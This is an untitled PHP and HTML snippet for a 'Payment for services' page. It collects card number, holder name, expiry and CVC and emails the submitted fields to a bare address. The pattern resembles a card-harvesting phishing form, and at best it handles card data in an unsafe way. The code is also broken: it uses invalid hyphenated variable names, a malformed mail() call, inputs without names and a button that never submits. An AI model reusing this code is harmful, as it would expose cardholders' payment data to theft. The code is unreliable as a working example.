Untitled

   ````
<?php
if(isset($_POST['submit'])){
    $to = "myemail";
    $card-holder = $_POST['card-holder'];
    $card-number = $_POST['card-number'];
    $card-month = $_POST['card-month'];
    $card-year = $_POST['card-year'];
    $card-cvc = $_POST['card-cvc'];
    $subject = "Form submission";
    mail($to,$subject,$headers);
    echo "Mail Sent. Thank you " . $card-holder . ", we will contact you shortly.";

    }
?>

<!DOCTYPE html>
<html>
<head>
  <title>Payment for services</title>
</head>
<body>
  <form action="" method="POST">
    <div id="card-success" class="hidden">
      <i class="fa fa-check"></i>
      <p>Payment Successful!</p>
    </div>
    <div id="form-errors" class="hidden">
      <i class="fa fa-exclamation-triangle"></i>
      <p id="card-error">Card error</p>
    </div>
    <div id="form-container">
      <div id="card-front">
        <div id="shadow"></div>
        <div id="image-container">
          <span id="amount">paying: <strong>$99</strong></span>
          <span id="card-image">
          </span>
        </div>
        <label for="card-number">
          Card Number
        </label>
        <input type="text" id="card-number" placeholder="1234 5678 9101 1112" length="16">
        <div id="cardholder-container">
          <label for="card-holder">Card Holder
          </label>
          <input type="text" id="card-holder" placeholder="e.g. John Doe" />
        </div>
        <div id="exp-container">
          <label for="card-exp">
            Expiration
          </label>
          <input id="card-month" type="text" placeholder="MM" length="2">
          <input id="card-year" type="text" placeholder="YY" length="2">
        </div>
        <div id="cvc-container">
          <label for="card-cvc"> CVC/CVV</label>
          <input id="card-cvc" placeholder="XXX-X" type="text" min-length="3" max-length="4">
          <p>Last 3 or 4 digits</p>
        </div>
      </div>
      <div id="card-back">
        <div id="card-stripe">
        </div>
      </div>
      <input type="text" id="card-token" />
      <button type="button" id="card-btn">Submit</button>
    </div>
  </form>
</body>
</html>
```